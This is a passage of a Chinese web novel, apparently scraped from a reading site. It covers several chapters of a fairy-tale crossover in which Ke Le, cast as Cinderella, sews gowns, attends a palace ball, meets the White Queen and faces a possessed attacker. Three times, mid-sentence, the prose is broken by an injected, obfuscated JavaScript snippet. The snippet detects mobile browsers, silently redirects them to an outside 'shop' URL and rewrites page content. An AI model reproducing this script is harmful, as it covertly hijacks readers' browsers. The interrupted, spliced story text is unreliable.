德曼尼冷哼,指着他厉声道:“你这是不愿意?我给你地方住,供你吃食,你连裙子都不肯做?” “愿意愿意。”柯乐不想同她浪费时间,只是眼神有些躲闪,“我再确定一遍,这位夫人,您真的要把这项任务分配给我?” 德曼尼一时哑然,有瞬间质疑自己,“你在质疑我?” 柯乐的脑海中自动浮现出那顶高帽,当时还是有疯帽子的指导,才能勉强将帽子做出来,这次可没有这样的福利了。 但基本的针线活还是会……的吧。 “去量塔西娅和德里泽拉的尺寸,记得要做得非常精准。”德曼尼吩咐道。 “好的。”柯乐想到自己有手工经验,答应得很是干脆。 柯乐问到两位继姐的住处,得知她们正在为王宫的宴会排练舞蹈。 “不要打扰到她们。”仆人将他引领到练习室,她们的老师正在教她们动作。 柯乐在门边等了许久,看着这两位继姐呜哇乱叫,筋骨硬得不成样子。 这……真没办法的话就不要强求了嘛。 “哟,这不是我那位妹妹吗?” 阴阳怪气的声音响起,柯乐终于如临大赦,微笑着拿着量尺进房间。 “德里泽拉,她这样的丑小鸭,应该从没有看过人跳这样的天鹅舞蹈。” 丑小鸭? 一开始在爱丽丝副本里感受还没那么深,直到小美人鱼,再到卖火柴的小女孩,每个副本的联系都在加深。 他本来只是把这个现象和系统的塔罗预测官联系在一块,但现在看来,并不是单纯的童话副本相交,而是互相的融合。 “塔西娅,或许,我们的妹妹是看入迷了,所以我叫她那么多次都没有反应。” 另一道粗哑的声音将他的思绪拉回,他一回头就对上两位继姐轻蔑的眼神。 柯乐微笑,“两位姐姐,我给你们量一下尺寸,为你们定做一套属于天鹅的礼服。” “哼,总算识相一点了。”塔西雅难得地心情美丽,“以后做了伯爵夫人,分你一点好处。” * 柯乐有了第一次的经验,理论上的知识他熟悉,他手比较笨,但脑子还算好用。 伴着昏暗的煤油灯,红线从指尖窜出,绑着线头往针孔里钻。 他对比着自己画的图纸,开始裁剪。 正当他入神时,杨鸣岐的声音忽然钻进了他的耳朵里,“乐乐,你现在也在做衣服吗?” 嗯?杨鸣岐? “乐乐,你能听到吗?” “能,你在哪?” “我现在在格林家的阁楼,他们要我做首饰,我……我实在是无能无力啊。还好这个系统我们目前是共用的,正巧可以当做通讯工具。” 系统此次真是立大功了。 神职对系统的开发还不及一半呢。 “第一次做这东西会比较难入手,要不这样,我试试通过系统把红线借你,你拿去串珠最合适不过了。” “还能这样的吗?” “当然,系统连海狗都装得下。”柯乐意念波动,红线从指尖窜出,“系统,放入背包。” 过了片刻,系统那头传来杨鸣岐语调上扬的声音,“乐乐,它真的有用!哎?我这边有仙女过来了。” 杨鸣岐话音刚落,星光像彗星尾巴,在夜空中划出一道弧度,落在阁楼矮小的窗户下,照得阁楼一下亮堂起来。 “鸣岐,我这里也来了一位。” “那个……”杨鸣岐听起来声音有些忐忑,“按照剧情,我们到时候肯定回去王宫,能不能到时候一起去王宫,那里的人我都不认识。” 柯乐知道他的社恐,爽快答应,应下时恰好听到杨鸣岐大呼:“这……我……我穿这、这个?” 柯乐见怪不怪,毕竟他是旗袍女仆装都穿过的,想必杨鸣岐是第一次见识到系统的魅力,那受惊是必定的。 一个有些发福的小仙女气喘吁吁地爬上窗沿,呼呼吹了仙女棒,翅膀有气无力地颤了两下,“额……晚上家庭聚会,吃得有点饱。” 厄洛斯非常有眼力见,当即从柯乐的袖口钻出,朝仙女棒哈了一口火,仙女棒当即又燃烧起来,只不过没有了那种晃眼的效果,倒更像一根着了的火柴。 “欧谢谢。”仙女落在柯乐摊开的掌心,上下打量他的身材,最后将目光落在桌上两套制作精良的裙子上,“亲爱的,这是你做的?” “当然,好看吗?”柯乐见仙女目不转睛,颇有成就感,胸膛也不自觉地挺起。 “好看。”仙女嘴角拉下,鼓掌,“太好看了,简直……绝无仅有。好了亲爱的,比起这个,我还是更希望你变得好看点。” 她沿着柯乐周围绕了一圈,用目光丈量他的腰,“欧亲爱的,你的腰真细,就是你这胸……没什么料啊。” 因为,他是男的啊! “或许我应该把你的头发接长,这样太不像样了。” 仙女的魔法棒朝他的头发点了一下,瞬间头发疯长,直到及腰,又好似有生命一般,自己开始编发。 “你的黑眸很独特,就不改了,五官其实也不需要怎么改,那就给你的脸补一些水分,天气太冷,有点起皮。” “还有唇比较苍白。” “胸.部的话……” “这就别动了,美丽的仙女。”柯乐忙捂住自己,在仙女X光一样的目光中躲到墙角,“这个得放过我。” “好吧,”仙女的魔法棒不停挥舞,每一次都是一次小改动,“那我找点什么遮一遮。” 终于在第n次试验后,仙女做出了她最满意的一套衣服。 “脱下来吧,不改了,宴会就这么穿。”她点头,非常满意。 【十二点了,小可为柯乐先生播报私人进度。】 【您的攻略进度略有降低,为45%。】 【数据有下降趋势, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968480|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请先生尽快抓住重要事件,加快攻略进度。】 “哦还有,王后的生日,你最好准备点礼物。”仙女思忖,“或许一个亲手制作的蛋糕是最好的。” * 时间很快来到王宫宴会当日。 两位继姐和他的继母对他的手艺还是比较满意的,心情舒畅就放过他,没再让他干别的脏活累活。 她们早早地挤进他制作的裙子,坐着马车离开家。 真实灰姑娘的故事里,仙女会做一个多层蛋糕,但就那样恰好,会做蛋糕的仙女摔了腿,所以一切都由胖仙女负责。 可胖仙女已经提前打了招呼,“亲爱的,我只会吃。” 于是柯乐只能自己捣鼓蛋糕的制作。 奶油随意往塌腰的蛋糕胚上抹,然后又因为蛋糕胚没晾凉,奶油融化啪嗒嗒往下掉,弄得整个厨房都是黏糊糊的奶油。 “亲爱的,我来了。”他往阁楼走去,想摆烂瘫倒,没想到仙女在这个时间点飞进阁楼,就像摆弄一尊娃娃一样,刷子粉扑漫天飞。 “乐乐,我在楼下等你。”杨鸣岐在系统里跟他留言。 他本想拔腿就走,被仙女扯了回来,“还差最后一点。” 仙女将一条白色绒毛缠在他的锁骨,恰好松垮垂下,遮住他的胸,“去吧。” 他提着一个蛋糕下楼,门外已经等着一辆南瓜车。 车夫是一只白老鼠,见到他出来,忙跳下车帮他拿蛋糕。 白老鼠本是脸色自然地接过蛋糕。 但很快,牠低头发现蛋糕这里塌那里凸,毫无美感可言,吸了口凉气,“美丽的女士,您确定这个蛋糕能吃?” “当然可以。”柯乐瞥了蛋糕一眼,“虽然卖相不怎么样,但是好吃的,你可以试试看……哦不。” 他几乎是习惯性地邀请,才想起这蛋糕不能随随便便就给别人吃。 “乐乐,没事,到时候真没人吃,我吃。”杨鸣岐掀开帘子,柯乐当即瞪大眼睛。 杨鸣岐的头发恰巧到锁骨那,不长不短,恰恰衬托出他的脸型,擦了口红,面色也红润了。 他穿着一身墨绿色包臀长裙坐在马车内,显得他的身材小巧玲珑。 柯乐轻咳一声,“男大十八变,你这样好看,别真的被哪位王公贵族看上了。” 杨鸣岐突然就结巴起来,脸也红了半边,“伯爵是、是泽、泽菲尔。” 对哦,当时在烤鸭店门口,有人认出了泽菲尔,并叫他“伯爵大人”。 灰姑娘副本算是卖火柴小女孩副本里的延伸,那身份合理是共通的。 “你也是,乐乐,你这样真好看。”杨鸣岐由衷赞赏,伸手去摸他蓬松裙子上的材质,“东方的淡雅、西式的华丽都能在你身上完全展现。不过……你这蛋糕,就这样端出去,我们的牺.牲就白费了。” 柯乐刚爬上马车,闻言偏头去看他刚放下的蛋糕盒子。 里面的蛋糕东倒西歪,颇有种混乱感。 红线从指尖溜出,将包装盒里里外外包起,最后打了个蝴蝶结。 柯乐手指往蝴蝶结的圈中一勾,“我不隐藏红线就行了。包裹得这么严实,王后也是接过就放一边了,谁会记得这个蛋糕?” 34.【45%】 南瓜车一路升级,在白老鼠车夫停下时,它从一颗剖开的大南瓜变成了如今的金色传说。 【注意:二位的礼服、金顶马车等为暂时性物品,十二点失效,请注意把控时间。】 王宫里人来人往,杨鸣岐前脚刚下马车,后脚就匆忙缩了回去,抓着柯乐的手颤抖,“乐、乐乐,我、我能不能不、不下。” 马车在王宫门口停留的时间太长,来往的贵族都会回望这辆气派的马车,杨鸣岐更加不肯下去。 “下来。” 马车外一道清冷的声音隔着帘子传进马车,柯乐明显感觉杨鸣岐的身体一僵。 “伯爵大人?他怎么去那里了?” 与声音主人一样清冷的手伸了进来,直接抓住杨鸣岐的手腕,毫不拖泥带水地一拉—— 好在柯乐即使扶了杨鸣岐一把,也顺便把他往那白金毛男人怀里送。 柯乐掀开帘子,就看到泽菲尔握着杨鸣岐的腰。 杨鸣岐要逃,泽菲尔就用另一只手轻拍他的背,语气听起来森冷,却莫名生出了安抚之感。 “别动。”泽菲尔攥着杨鸣岐的手腕,逼着他镇定,“动一下,多待五分钟。” 果然是什么碗配什么盖,杨鸣岐居然就真的慢慢冷静,甚至还能回头看他一眼,然后糯糯地问:“乐乐,我们一起走吗?” 那肯定不啦,做个超级大灯泡对他来说简直是煎熬。 泽菲尔朝他轻轻点了点头,也算客气打过招呼。 柯乐是个有眼力见的,回以笑容后及时退出他们的二人世界,“你们先走,我去逛逛。” 杨鸣岐也知道他不愿,“那好吧乐乐,我们那啥,再联系。” 柯乐漫无目的地在王宫里闲逛,观察有谁可以牵牵红线攒点业绩。 但他发现,王宫里的人还是以利为先,基本上没什么太多的感情基础,连隐约的红线线头都没见到。 最完整的就是刚刚泽菲尔和杨鸣岐之间的红线了——很粗、很结实,他们一定能走很远,所以刚刚才引起那么多人的凝视和疑惑。 可惜了,月老看不见自己的红线,不知道自己未来的另一半…… 他的心脏突突地跳了两下,像一个供血的泵。 “这王宫里乱套了,为了镇住那些反动的人,王子一定要娶王妃了。” “这位白王后肤白貌美,但妇人之仁。” 八卦的气息扑面而来,柯乐躲在柱子后想多听一会,爽朗的男声却叫了他:“柯大魔术师?哦不……现在应该是叫辛德瑞拉?” 柯乐眉头一挑。 莫非他的性别在系统的世界里是模糊的? 他是柯乐,也可以是辛德瑞拉;可以是“他”,也可以是“她”。 所以他才可以是爱丽丝,是小美人鱼,现在也可以是辛德瑞拉。 “德曼先生,好久不见。”他坦荡地走进房间,“那天匆匆告别,最近实在是事情太多了,没再登门拜访,是我们的错。” 德曼摆手,“大魔术师,没事的。我本来是打算隔天就引荐你的,但很快就听到了你继母把你带走的消息……你还在卖火柴吗?” “当然,先生,我还是很需要您的帮助。” “那你要注意把控新王后。”德曼压低声音,倒是对他很信任,“听说她的家乡养了某种动物,喜欢火种。火柴的买卖,她或许能给你开出一条路。” 柯乐一头雾水,德曼解释道:“这位新王后大概是一个月前来的,皮肤苍白,唇很红,就像那美艳的吸血鬼。” 德曼旁边的男人也附和道:“是啊,喜欢白裙,头发也是全白,我那天见过。” 柯乐将他们说的特征拼拼凑凑,模糊的轮廓让他总觉得有点熟悉。 但只言片语也不能推断出什么,待会见到真人自然就会有答案。 德曼打断了他的思绪,“欧对了,大魔术师,我想请您帮一个忙。” * 夜宴开始前,贵族们身着紧身礼服,戴着昂贵的胸针,齐聚于长桌旁,宛如移动的珠宝店。 烛火和煤油灯交织,在灯影下,他们陆陆续续落座,等待着今晚主角的到来。 “德曼先生还没到,他旁边还有另外一个位置,是谁的?” 杨鸣岐坐在泽菲尔身旁,看着对面空缺的位置,手指攥着裙摆,终于忍不住低声问泽菲尔:“你知道乐、乐乐去哪里了吗?” 泽菲尔微微倾身听他说话,末了也同样低声回应,眼神往主座及周围的空位瞥去:“不用担心他。” 与此同时,一道哀怨的目光移动到他身上,让他倍感不适。 一偏头,就对上他那妹妹格妮无神的双眼。 明明格妮长着一张典型的娃娃脸,哪哪都觉得小巧玲珑,卷了金发后更像是一尊洋娃娃,可她的眼神好像总是无法聚焦,被抽了魂似的。 一个超级大的黑箱被推了出来,德曼走到黑箱边,“女士们,先生们,在用餐前,让一段有趣的魔术表演开启我们的美妙夜晚吧!” 贵族们纷纷朝德曼的方向望去,“魔术?听闻德曼先生在魔术的造诣极高。” “现在,我打开这个大箱。” 德曼打开黑箱,一只黑公鸡走了出来。 “我再合上,再打开。” 两只白鸽叼着花飞了出来。 “再重复一遍。” 德曼再次打开箱子,柯乐戴着银色面具走了出来,指尖一动,红绳翻涌,在空中结成了…… 柯乐面向长桌,“哪位先生或女士想要来翻花绳?” 啪、啪、啪。 掌声从门口响起,国王一身深蓝礼服,率先进门。 然柯乐在见到他身后随着进门的人时,不由双眼圆睁、呼吸骤停—— 来人一头白色长卷发,皮肤白得像纸,眼窝深邃、鼻梁高挺,嘴唇或是吐了口红、亦或是原先就已经这样艳,额头坠着的蓝宝石更将她衬托得不可方物。 但这些都不至于让柯乐如此讶异,真正让他震惊的是女人头顶的银色皇冠。 ——“白皇后去环游世界了。” ——“然后把杀死巨龙的任务交给你了,爱丽丝小姐。” ——“听说她的家乡养了某种动物,喜欢火种。” 她是……白皇后?? 白皇后的一颦一笑都显得细腻柔和,和她的妹妹实在是大相径庭。 白皇后的指尖也是发白,动作如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977387|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水,点在柯乐的红线上,“这位伟大的魔术师,我可以试试吗?” 柯乐的眼神聚焦,白皇后很高,眼睛的高度与他齐平,他甚至能够看到她近乎全白的眼眸中他的倒影,像月亮与湖水交映。 “亲爱的,你怎么在发抖?”白皇后勾住了他的红线,“我只是没有见过这样美丽的红色。” 柯乐上下唇一碰,口干使得他的双唇黏连,仿佛见到了一个从未谋面的故人,“红桃Q。” 白皇后的指尖一顿。 白瞳掇了他的身影,她轻声道:“你说……什么?” “米拉娜,怎么了?”国王察觉爱妻神色的变化,走过来,“是出了什么问题吗?” “王,先不要过去,这女人肯定会某种术法,被王后识破了!”他的继姐在长桌边出谋划策。 国王眉头轻皱,似乎是对一位年轻人不懂礼节的不满,但并未完全展露出来。 “德里泽拉,小声点,不要丢了家族的脸。”塔西娅忙制止了妹妹,“这只是个魔术师。” 柯乐喉结滚动,迅速收拾好自己的情绪,将红绳往前送,对着白皇后微笑道:“美丽的王后,您将手指从绳间的孔洞穿过,然后将手指往上挑——我在孤独的时候,就想有人可以和我一起翻花绳,这是我童年的影射。” “欧美丽的小姐,是这样吗?”白皇后也迅速接上了他的话题,“这样有趣的小游戏,可以在基纳王国推行,孩子们应该都很喜欢。” 她柔和地笑了笑,将绳子往上翻。 柯乐的虎口肌肉紧缩。 就在刚刚,白皇后指尖上挑时,将一条细长的钥匙塞进了他的掌心。 国王的权杖点地,放松下来,“米拉娜,快入座吧,大家等得久了,待会餐后还有安排。” 白皇后致以歉意,“抱歉我太激动了。好的,但王子去哪里了?” “母亲。”安布洛斯的声音骤然响起,柯乐的眼睛滴溜溜的转。 虽然经过几个副本,他能隐约猜到系统的安排,但真正从他人口中坐实安布洛斯的身份后,那种微妙的不甘又冒出头。 凭什么每一次他都是什么女仆、人鱼、拼死拼活的店长,安布洛斯就都是王子、所长? 这也太不公平了吧! 进食时寂静无声,每一口食物都需经过仪态的过滤。 柯乐这顿吃得是万分憋屈。 鹿肉浸着血,菜半生不熟,最可怕的还是那个烤鸭,皮软趴趴的,十分油腻。 也难怪德曼会说他的庄园里的食物,王宫里的也比不上。 ……要是比得上那就完了呀! 国王突然出声询问,“王子,怎么了?不合胃口?” 柯乐循声看向白皇后旁边坐着的安布洛斯,他的刀叉迟迟不落下。 他就也停下手中一点点锯肉的动作,看这出好戏。 安布洛斯将刀叉轻轻放下,抬头隔着好几位王公贵族,朝他望来。 完了,他要使招了。 这是柯乐的瞬时想法。 安布洛斯徐徐说到:“父亲、母亲,我想,那位小姐应该很喜欢我。” 柯乐:公共场合,你要不要听听你在说什么???! 35.【45%】 安布洛斯此话一出,柯乐瞬间成了全场焦点。 国王放下刀叉,颇有兴趣,“王子,你为什么这么说?” “我记得遥远的东方有这样一个说辞——‘秀色可餐’,这是一位传教士远洋传过来的,就是说看着自己欣赏的人,就不必吃饭了。这位美丽的女士刚刚一直看着我不动叉,我才迟迟不敢动手。” 敢情他不想吃这些玩意,直接把水泼他身上了? “王子,”柯乐躲在银色面具下,面对这么多人的注视,竟也没那么害怕了,“不知传教士有没有传给您一个成语,叫‘自作多情’?” 这时肯定有人跳脚,几个人当即为王子出头,“这是那个家族的?说话这么不守规矩。” “亲爱的,晚上就安排你和这位美丽的女士一起跳舞,好吗?”白皇后眼睛弯弯,细白的睫毛让她在烛光中宛如精灵,“我由衷地喜欢她。” 柯乐不会跳舞,也不想跳舞。 他唯一一次接触舞蹈,是因为大学体育课抢不到能摸鱼的,只能选个体育舞蹈,跳了半学期的拉丁。 他本想拒绝,但见安布洛斯嘴唇蠕动,不想成为先被拒绝的那个,当即就抢先应下,掐着声线,娇媚地说:“谢谢王后的美意。” * 舞会开始后,男女自动组队跳舞。 音乐刚起,柯乐就牵上了安布洛斯的手,将手指插.进他的指缝中,“我很想知道共感后,你是知道我身体的全部感受吗?比如我现在觉得你的手有点凉,反过去你会不会觉得凉上加凉?” “真是愚蠢的问题。”安布洛斯突然握住了他的腰,掐着他的软肉,带着他左右摇摆,“你现在能感受到我触碰你的感觉吗?” 真是一句糟糕的话。 柯乐扯了扯嘴角,高跟鞋的鞋尖踢了安布洛斯一脚,“神经病。” 安布洛斯摩挲着他的腰,“你来这里,是为了拉业务吗?” 双倍的酥麻感让他想往后躲,但腰被死死禁锢着动弹不得,只能被迫弓着身子,贴近了安布洛斯。 他不甘示弱,“如果你硬要这么想,那也没有办法,反正这是公平的游戏。” 虽然他说出来都觉得有点虚,但他还是直勾勾地看着安布洛斯,眼神毫不畏惧。 安布洛斯轻笑,“你的心跳出卖了你,这就是共感的作用。” 柯乐:“……我一定会卖出非常非常多的火柴。” “你不能。”安布洛斯突然正色,“你不可以再卖这种火柴。” 柯乐一不留神,真的是一不留神,就往安布洛斯脚背上踩了一脚,听到意料中的闷哼,心跳的频率也逐渐调节过来,“为什么?” 安布洛斯手上的力道突然变重,“我有我的理由。” 难道他绑定的系统也有某种限制?还是有其他的理由? 不过,问了也是白问,双方都不肯把自己的系统透露,那就还继续装下去,也不失为一种相处模式。 “你能不能学学人家伯爵大人?”柯乐搭在安布洛斯肩膀上的手捏了捏他的斜方肌,“你看他们跳得多好看。” 安布洛斯突然双手握住他的腰,将他直接抱起。 他的双脚离地,在空中转了个圈,裙摆飞舞,引起周围人的注视。 “东方月老,可还满意?” 安布洛斯明知他脸皮没那么厚,王子的身份让他徒增了他人的艳羡,让他在王国内难混! 可恶至极! 安布洛斯甚至还落井下石,“你也不看看伯爵大人的舞伴跳得和你简直天差地别。” 柯乐语气最终还是弱了些,“他也就九十分。” 就在此时,衣服崩断的声音如同弦断,一阵连锁反应后,柯乐下意识捂住裆.部,又转而捂自己的屁股,被安布洛斯拦截,“没有一点礼仪。” 崩断的声音接二连三响起,与背景音糅合成奇怪的乐曲。 哦,原来不是他的裙子裂了,全场最劣质的材质应该现在在他身上才对,究竟是谁这么社死? “欧天哪,塔西娅,你的裙子怎么……” 哇,谁啊,直接被点名。 不对,是他那人见人恨的继姐! 噗噗—噗噗—噗噗。 殿内另一个方向也传来了令人发指的声音。 柯乐头皮发麻—— 塔西娅的定制裙从腰线的接口处开始绷裂,她想抬手去捂,泡泡袖却从腋下开始刷地瓦解; 德里泽拉的群则是胸口处开始炸裂,就在刚刚舞伴带着她旋转的时候。 完了完了,他真不是故意的啊。 两位继姐胡乱捂着,一只高跟鞋甩出去,漂移到大殿中央,她们半垫着脚,一瘸一拐地被仆从簇拥着离开。 安布洛斯挑眉,虽然语气微微上扬,但柯乐听起来就像陈述句,“你缝的?” “不是故意的。”柯乐解释,试图保住自己的名声,“我一针一线都非常仔细,而且还有仔细检查。” 他的回答就像在说“我努力在试卷上写满了解,也非常努力地校对了所有的解”。 安布洛斯抱胸,轻笑,“我知道。” 然后等柯乐觉得他真有点人性时,他又说:“你的手艺一直这么差。” 【距离十二点还有一个半小时,请注意把握时间。】 一个半小时,他还得算上去会见白皇后的时间。 白皇后给了他钥匙,但是……没和他说去哪里找她啊! “柯乐,你在想什么?”安布洛斯察觉出他的心不在焉,掐了一把他的腰,如愿看他像炸毛的猫一样怒目圆瞪,“你在这个副本里,待会是不是得留下你的一只鞋,然后让我去找?” “不必了。”他看了一眼自己的鞋,仙女给他包得这样严实,“我要是这样还掉,我得去看医生了。” “柯乐,那是你的礼物吧?” 安布洛斯突然轻笑,带着他转了一圈,恰巧正对着主座,侍从正将来宾的礼物叠起。 他看到他那份礼物在众多的礼物中十分显眼。 柯乐的心咯噔一下,“你要做什么?” 安布洛斯贴着他的耳朵,轻声道:“听说以往的传统,王后都不会去拆礼物的。但这回是那位把仆从都看得很重要的白皇后……你觉得她今晚会不会拆,以表示对贵族们的重视?” 柯乐吞咽口水, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981636|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周遭的舞步变得虚幻,像潮水般退去—— 他的眼里只剩白皇后弯腰,亲自将礼物叠起的画面。 “乐乐,你的那个蛋糕好像、好像有点要、要完,我们要不要先逃?” 系统内传来杨鸣歧的声音,柯乐的脚步乱了一瞬,直接踩上了安布洛斯的脚背。 现在逃还来得及吗?他有自知之明,在大庭广众之下把那个蛋糕拿出来,这是大不敬啊! “这位王子,我肚子有点疼。”柯乐两股战战。 安布洛斯挑眉,舞曲变得悠长缓慢,贵族们也开始暂缓舞步。 “你好紧张,你的心跳得好快,你的体温开始上升。”安布洛斯掰过他的脸,逼着他直视他的社死名场面。 白皇后一眼就看到了过度包装的特别礼物,“欧,这是哪位送给我的,好可爱。” 她弯腰拿起礼物,将它压在白裙上。 柯乐等待着卫兵冲进来拿下他这位不敬的来宾,但比卫兵先激动的是他袖子里那只小龙。 厄洛斯腾地飞出,在女士的尖叫声中用利爪抓住礼盒边缘,在白皇后托着的蛋糕刚露头时,呼地吐出一口火。 柯乐的心悬在半空,眼睛死盯着白皇后的手。 白皇后会因此受惊扔掉手中的蛋糕吗?这样就和他没有半点儿关系了。 “欧亲爱的,你是……”白皇后稳稳地端着蛋糕,将它端了出来。 柯乐的目光盯着蛋糕看了几秒,猛然回头去寻那双绿眸。 蛋糕足有三层,奶油抹得均匀,蛋糕壁坠满了莓果,错落有致。 这蛋糕分明就不是他做的那坨! 他寻到那双绿眸,眼尾微挑,里面盛满了笑意,不知捉弄成功的喜悦占了几分。 他的脸有些发烫,垂下头看着对方的燕尾服,小声得如呢喃,“是你做的?” “保你一条命,算你欠我的。”安布洛斯开门见山,“副本里的命也是命。” 周围的目光因为一条龙和这个不值钱的礼物,变得忧心、嫉妒以及愤恨。 “呜啊——”厄洛斯飞到白皇后的肩膀上,开始呜哇乱叫。 “亲爱的,牠一定是把你看做了母亲。”白皇后起身朝他走来,厄洛斯叫得越发大声。 在众人的注目下,柯乐将这只怪会吸引人的小龙接了回来,只觉头皮发麻,心里也突然闪现了一个念头: 这种情形,要是杨鸣岐来,那岂不是真得挖个地洞了。 白皇后笑容温柔,“我下午在书阁待了很久,总觉得有什么事情要发生。没想到竟然真的有奇迹,这真的是我们伟大的魔术师送给我最棒的生日礼物。” 她看了一眼安布洛斯,发出一声释怀的笑,“这位女士真的与王子非常相配,我想给你们这个。” 她给了他们一人一枚银质小筒,“这是传声筒,带有像魔术一样的能力,可以让你们在千里之外联系到对……” 【恭喜柯乐,得到白皇后的首肯,获得[白皇后的传声筒]X1,已放入背包。】 突然看热闹的人群里穿出一声锐利的尖叫,打断了白皇后的话,“杀人了,快!卫兵,格林家的小女儿疯了!” 36.【45%】 一时间,贵族们如逃窜的野兔,无半点方才的矜持。 他们往桌子底下钻、往大门边挤,谁也不肯让谁,却将救援的卫兵阻挠在他们的逃脱路线上。 杨鸣岐,也就是另一身份卡洛琳的继妹,此刻正面无表情地快步追逐他。 她手上拿着一柄竖着的短刀,不断做着往下刺的动作,只会走直线,也不管直线距离上有何障碍物。 她跃上桌面,高跟鞋的鞋跟咔哒一声断了一小节,她全然不顾。 霎时间桌面上的瓜果汁水四溅,她却仿佛没注意到似的,仍旧直线往杨鸣岐的方向疾步。 她的嘴唇蠕动着,柯乐喊道:“她说什么呢!” 杨鸣岐抽空回答:“听、听不清!哦哦,她说……” “你是我的你是我的你是我……” 她突然迈步频率加快,手腕以一种僵硬的姿势立起,刀尖正对着杨鸣岐而去! 泽菲尔嫌杨鸣岐实在太慢,直接搂着他的腰一把捞起,长腿往大门走得飞快,而后将他砰一声关到门外。 咔嚓—— 刀尖直接没入门内。 一双空洞无神的双眼识别出了白金色的长发和湛蓝深邃的眼眸,夺了魂似的,嘴唇一碰一合,“你是我的。” 泽菲尔的眸暗了一瞬。 仅仅这一瞬,就干净利落地攥住纤细的手腕,将她往一旁甩去,抽出藏在燕尾服下的军刀,用刀柄挡了一下继妹的额头,不至于让她被直接甩出磕到墙壁。 “你是我的。” 阴森的话语自女孩口中再次说出,她竟不知疼痛,直挺挺站起。 她的手腕似乎是脱臼了,以一种扭曲的姿态朝泽菲尔做出隔空抚摸的手势。 门外突然传来杨鸣岐的呐喊:“泽菲尔,小心!” 这位疯狂的女孩一边手还做着轻抚的姿态,另一只手堪堪擦过腰部,随后迅速抡圆了摸出一把短刀就往泽菲尔肩上钉去! “系统,拿出至高无上的帽子!” 那顶熟悉的高帽就那样,像一个炉灶一样,把女孩盖进其中。 这方法简直屡试不爽! 柯乐的红线和安布洛斯的羽箭同时射出,但比这两样到达时间还要快上几秒的是泽菲尔的巴掌—— 他在女生出手的瞬间,一个巴掌精准地打在刀柄上,刀哐当砸在地上,滑出好几米的距离。 羽箭将纱裙肩膀鼓起的布料钉在墙面,红线紧随其后缠住了她的小臂,避开她脱臼的关节,将她双手反绑在背后。 国王压着怒火,权杖在地上点了两下,低声质问不敢上前的贵族,“乔恩,你的女儿怎么回事?” 乔恩踌躇着想上前把丢人现眼的女儿带回家等候发落,但跪在地上的女孩稍微一挣扎,他就慌忙往后退去,扑通往国王跟前跪去。 “王!她,她几天前就不是我的女儿了……”乔恩颤抖着,“她每天晚上都会在一楼来回踱步,反复练习刺刀的动作,我,我已经很久不敢回去了!” 贵族们一阵唏嘘。 “那菲尔娜呢?你的妻子也没有回去?”国王眉头紧锁,低头看着匍匐的男人,权杖点地,“站起来!告诉我,你的女儿究竟为什么成了这个模样。那可是基纳王国的伯爵,如果没有正当理由,那她就得择日上断头台了。” “杀了她吧,王,求求您。”乔恩匍匐着磕头,“我们格林家受了诅咒。” 国王袖子一挥:“卫兵,父女俩都拖出去!” 白皇后抬手制止了他们的粗鲁行为,“王,先平和地了解事情的原委。这种事件是第一次见,要是以后还有人受苦怎么办呢?” 白皇后的声音平稳柔和,乔恩磕头的动作一顿,缓缓抬头仰视她。 旁边传来铠甲摩擦的声音,卫兵按着的女孩又开始挣扎,在杨鸣歧低头查看情况时,她的一双眼睛变得灰暗浑浊,就要扑跳起身用头撞他。 “离远点,好奇心别太重。”泽菲尔拉着杨鸣歧的领子,将他拖远了。 乔恩死盯着野兽一般的女儿,不住颤抖,“我这女儿迪娅一直仰慕伯爵大人。她自知配不上,菲尔娜她不知从哪里要来了一个方子,用她透亮眼睛换了更上一层的美貌。” 说到交换,柯乐立马想到了那位坑了他的女巫。 可转念一想,女巫早就被天堂贬来跟进度了,哪里还会有这心思搞这些? 然而他的思绪随着余光里,白皇后手指的轻颤而跃动。 白皇后是怎么来的基纳王国,又是什么使得她放弃她偌大的皇宫前来,莫非白皇后也进行了某种交易? 但柯乐不蠢,在这种场合问她,简直是自寻死路。 “她的灵魂已经被夺走了。”白皇后惋惜地弯腰抚摸这个可怜的女孩,“她的眼睛灰色、空洞……” “像一条死鱼。”安布洛斯接话。 乔恩眼泪鼻涕糊了一脸,不顾贵族形象,嚎啕道:“王,她不是我的女儿,她所做的一切都和格林家族没有半点关系。至于菲尔娜,这个犯了大错、和恶魔交易的女人,请您发落。” 贵族说到底都是利益捆绑体,一切以自己和家族的利益为先。 柯乐一直以来都明白这个道理,但真正见到时,还是会对这样抛妻弃子的行径感到震惊。 “乔恩,你作为家主,没有肩负责任,反而将一切摘得干净,这不是贵族的作风。”国王用权杖拨开男人拉着他裤腿的手,“这个身份,看来不能要了。你的女儿就先在大牢里放着吧,等看看有什么医治的办法。” 乔恩还要再说,卫兵直接将他拖了下去。 